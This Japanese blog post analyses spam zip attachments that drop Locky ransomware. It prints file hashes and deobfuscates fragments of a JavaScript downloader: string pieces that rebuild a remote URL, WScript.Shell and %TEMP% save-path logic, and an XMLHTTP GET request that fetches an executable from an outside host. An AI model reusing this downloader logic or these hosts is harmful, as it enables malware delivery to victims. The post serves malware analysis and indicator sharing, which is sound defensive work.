ども。こんばんは。
えとForefrontライセンス切れてました・・・orz
なのでスパムも止まりません・・・。
今日はこんな感じ。
393a57a4c9d385b05cb4416c9ff2236b Document2.zip
02ffcdd591dd08a2b6679dce2d613936 [メールアドレスっぽい]-payment_551377.zip
a1978df50a40ed8cbcc164c28a518a1b scan_57831323.zip
610a902dc4c9182cb0262561cb3cc5e8 payment_details[メールアドレスっぽい]_004397.zip
さてとりあえず「Document2.zip」でも見てみますか。
instability(“http://dmvfredevent”+(“blake”,”technology”,”s.com/3476grb4f434″)+”r.”+(“aristocrat”,”paintings”,”spotless”,”exe”),”lVsDqX”);
まあこうでしょうね。
hxxp://dmvfredevents[.]com/3476grb4f434r[.]exe
落ちてきたのは
d3effa917bd98261c17308a93e70a232 3476grb4f434r.exe
動的解析結果
https://malwr.com/analysis/ZWMzM2ZhYzM5ODdlNDA1ZGJkZmNjZTdjNDc3YmYyNDQ/
Lockyとかいうランサムウェアに感染させようとしているようですね。
どうでもいいですけど、ランサムウェアってずーっと
Run Somewhere
だと思ってました。。。どこでも動く的な。。。
もうこのスパムシリーズやめて、さっさとアンチスパム考えたほうがよさげだわ・・・。
っと思ったら
02ffcdd591dd08a2b6679dce2d613936 [メールアドレスっぽい]-payment_551377.zip
これちょいと種類が違うっぽい？
zipの中身は
5d435a6c3e269b6bfa3ed869b3087460 oo3W.bin
12d0e7e33a9669563bea07cfe5faa64a PMT8252fde.js.js
fe6ff7f6f37be71b5ca8f19df5c4772a SmQ.bin
JSも難読化されてるっぽいし、なんか変なbinがある！
このbinの中身なんだろう。意味ないデータっぽい気もする？？
とりあえずこの辺のツールで見やすくして解析ですかね。
うわぁ・・・めんどくさ・・・
***** 結論だけ先に書きます ****
hxxp://kanberdemir[.]com/b5uas
8b6bc36cf0fc6db4fe7f2257cdc75905 b5uas
********************************
ところどころ、WScriptとかXMLHttpとかADODBとかが読み取れるのはダミーか？？？
CreateObjectとかも見え隠れするからやっぱり本物かな・・・。
このあたりのコードを気合解析。
/** @type {string} */
var fkG = “5uas”;
/** @type {string} */
var Rcb = “om/b”;
/** @type {string} */
var k0 = “mir.c”;
/** @type {string} */
var oZ = “berde”;
/** @type {string} */
var tg = “//kan”;
/** @type {string} */
var tX = “http:”;
/** @type {string} */
var GX = “GET”;
/** @type {string} */
var OV = “open”;
/**
* @param {string} context
* @return {?}
*/
function Ezn(context) {
/** @type {string} */
var n = “s”;
return “” + context + “”;
}
/** @type {string} */
var = “s.exe”;
/** @type {string} */
var pCp = “l1dWa”;
/** @type {string} */
var et = “6vEY”;
/** @type {string} */
var RS = “%/”;
/** @type {string} */
var nZ = “%TEMP”;
とりあえずドメインっいのを見つけた。
どう並び替えられるのかを追いかけてみる。
var tX = “http:”;
var tg = “//kan”;
var k0 = “mir.c”;
var Rcb = “om/b”;
こっからこの変数の使われ方的にこのへんか？
Ad[OV](GX, tX + tg + YL(oZ) + k0 + Rcb + fkG, false);
GX
var GX = “GET”;
ｔX
var tX = “http:”;
tg
var tg = “//kan”;
YLとoZ。ん？？そのまま返される？？
function YL(regex) {
/** @type {string} */
var n = “s”;
return “” + regex + “”;
}var oZ = “berde”;
ko
var k0 = “mir.c”;
Rcb
var Rcb = “om/b”;
fkG
var fkG = “5uas”;
お、「kanberdemir[.]com/b5uas」っぽいな。
現時点でのIPアドレスは
81[.]22[.]110[.]190
ほいで続いて、
var Rz = “s.exe”;
からexeを追ってみる。
Rzが使われているのは・・・
var I = function() {
return rXo[YC + aG + C + GnA(a) + Da + t](nZ + RS) + Ezn(et) + pCp + Rz;
};
orz
でも頑張ってみる。
関数の配列とかマジ勘弁。。。
rXo、RK、P0、kH、nbn、Qb
var rXo = function qy() {
return WScript[RK](P0 + kH + nbn + Qb);
}();
↓
var P0 = “WScr”;
var kH = “ipt.”;
var nbn = “Shel”;
var Qb = J[“c” + “h” + “ar” + “A” + “” + “t” + “”](4);
var J = “LfzGlkF”;ヽ(｀Д´#)ﾉ ﾑｷｰ!!
WScript.Shellじゃねーか！
・・・まぁ見た感じそうだと思っていますた。。。var RK = “CreateObject”;
var YC = “Expa”;
var aG = “ndEn”;
var C = “viron”;
var a = “mentS”;
function GnA(x) {
/** @type {string} */
var n = “s”;
return “” + x + “”;
}
var Da = “trin”;
var t = “gs”;
できた
#これで%TEMP%かな。。。
ExpandEnvironmentStrings
Eznとet
function Ezn(context) {
/** @type {string} */
var n = “s”;
return “” + context + “”;
}var et = “6vEY”;
pCp
var pCp = “l1dWa”;
Rz
var Rz = “s.exe”;
ここまでまとめると
var I = function() {
return rXo[ExpandEnvironmentStrings](%TEMP%/) + 6vEYl1dWas.exe;
};
あぁ、こりゃ違うわ。保存先っぽいなTEMPをwscriptで取ってきてるだけだな。。。
見てないけどどうせこんな感じなると予想
WScript.CreateObject("WScript.Shell")
expandEnvironmentStrings("%TEMP%")
ここまでで飽きたから
var EZ = “MSXML2.XMLHTTP”;
こっちをおってみるかとおもったけどEZねーし・・・。
こっちからいくか？
/** @type {string} */
var Dhd = “Respo”;
/** @type {string} */
var Lnx = “nseBo”;
/** @type {string} */
var l = “dy”;ResponseBody
もう疲れた。
はい。適当にコード見てたら「07t9gasdf76ags」ってちょっと長めの文字列があったのでこれでぐぐりました。
でもこれともちょっと違うなー
あああああこれじたいファイルじゃん。今気づいた・・・。
hxxp://kanberdemir[.]com/b5uas
8b6bc36cf0fc6db4fe7f2257cdc75905 b5uas
いまんとこハッシュじゃ情報なしかな？？
ちなみにやってるのはやっぱりここだね。
try {
Ad[OV](GX, tX + tg + YL(oZ) + k0 + Rcb + fkG, false);
→Ad[open](GET, あのURL, false);
Ad[xS]();
→Ad[send]()
/** @type {string} */
dQN = “Sleep”;
for (;Ad[v + k1(Yl) + nN(DuN)] < 4;) {
WScript[dQN](Nad() * 10);
}
/** @type {number} */
nQr = QR;
もう疲れた。寝よ。
ではでは。またの機会に。